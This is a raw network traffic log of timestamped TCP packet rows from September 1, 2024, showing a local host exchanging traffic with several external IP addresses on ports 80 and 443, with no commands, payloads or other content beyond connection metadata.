Sep 1, 2024 05:09:27.098104954 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098126888 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098319054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098329067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098337889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098346949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098356009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098364115 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098370075 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098377943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098381996 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098406076 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098413944 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098550081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098558903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098567009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098577023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098586082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098593950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098603010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098603010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098613024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098614931 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098639965 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098666906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098835945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098849058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098858118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098866940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098875999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098885059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098885059 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098893881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098896980 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098902941 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098912001 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098915100 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098922014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098929882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098938942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098941088 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098947048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098956108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098958015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098964930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098973989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098975897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098982096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.098984003 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.098995924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099020004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099041939 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099184990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099195957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099278927 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099312067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099322081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099330902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099339962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099349022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099356890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099368095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099370956 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099378109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099387884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099387884 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099400043 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099416971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099436045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099457026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099494934 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099558115 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099567890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099576950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099586964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099595070 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099596024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099606037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099610090 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099615097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099623919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.099634886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.099662066 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.112524986 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:27.112845898 CEST	49790	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:27.117652893 CEST	80	49790	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:27.117724895 CEST	49790	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:27.117762089 CEST	80	49786	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:27.117846012 CEST	49790	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:27.117866993 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:27.122580051 CEST	80	49790	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:27.183258057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183269978 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183279037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183334112 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183340073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183350086 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183365107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183367968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183376074 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183392048 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183414936 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183532000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183543921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183557034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183567047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183585882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183597088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183595896 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183607101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183614969 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183645010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183653116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183675051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183686972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183700085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183717012 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183727980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183739901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183754921 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183780909 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183806896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183818102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183876038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183908939 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183942080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183953047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183964014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183974981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.183984995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.183995962 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184016943 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184036016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184046984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184057951 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184070110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184076071 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184104919 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184127092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184137106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184148073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184158087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184169054 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184169054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184192896 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184210062 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184300900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184313059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184324026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184334993 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184341908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184345961 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184370995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184405088 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184539080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184551001 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184561014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184571981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184581995 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184592962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184597015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184603930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184613943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184622049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184624910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184638023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184660912 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184690952 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184690952 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184848070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184858084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184868097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184878111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184887886 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184897900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184904099 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184909105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184920073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.184921980 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.184950113 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185019970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185030937 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185041904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185053110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185070038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185081959 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185213089 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185224056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185234070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185244083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185254097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185266018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185273886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185276985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185287952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185298920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185301065 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185309887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185312986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185322046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185332060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185333014 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185343981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185353041 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185372114 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185396910 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185507059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185519934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185535908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185580969 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185664892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185674906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185683966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185694933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185707092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185717106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185726881 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185726881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185738087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185745001 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185750008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185760021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185762882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185775995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185776949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185806990 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185847044 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185868025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185879946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.185904026 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.185915947 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186037064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186048985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186058998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186079979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186089993 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186100006 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186106920 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186111927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186120987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186131001 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186140060 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186141968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186151981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186157942 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186162949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186173916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186182022 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186184883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186197042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186197042 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186207056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186216116 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186218977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186244011 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186269045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186497927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186508894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186518908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186528921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186542988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186546087 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186553001 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186554909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.186579943 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.186594963 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.192678928 CEST	443	49789	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.192967892 CEST	49789	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.192986965 CEST	443	49789	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.193327904 CEST	443	49789	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.193388939 CEST	49789	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.194015980 CEST	443	49789	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.194070101 CEST	49789	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.194660902 CEST	49789	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.194710970 CEST	443	49789	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.202956915 CEST	443	49788	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.203142881 CEST	49788	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.203160048 CEST	443	49788	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.203480959 CEST	443	49788	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.203546047 CEST	49788	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.204080105 CEST	443	49788	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.204143047 CEST	49788	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.204253912 CEST	49788	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.204312086 CEST	443	49788	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.270212889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270221949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270241022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270251989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270261049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270298958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270332098 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270356894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270366907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270376921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270389080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270406961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270416021 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270489931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270500898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270539045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270548105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270558119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270565033 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270581007 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270626068 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270636082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270644903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270653963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270664930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270673037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270682096 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270697117 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270699978 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270718098 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270751953 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270762920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270773888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270781994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270791054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270808935 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270833015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270870924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270880938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270889997 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270899057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270908117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.270915985 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270930052 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.270946980 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271004915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271013975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271020889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271075010 CEST	49742	80	192.168.2.4	185.215.113.100
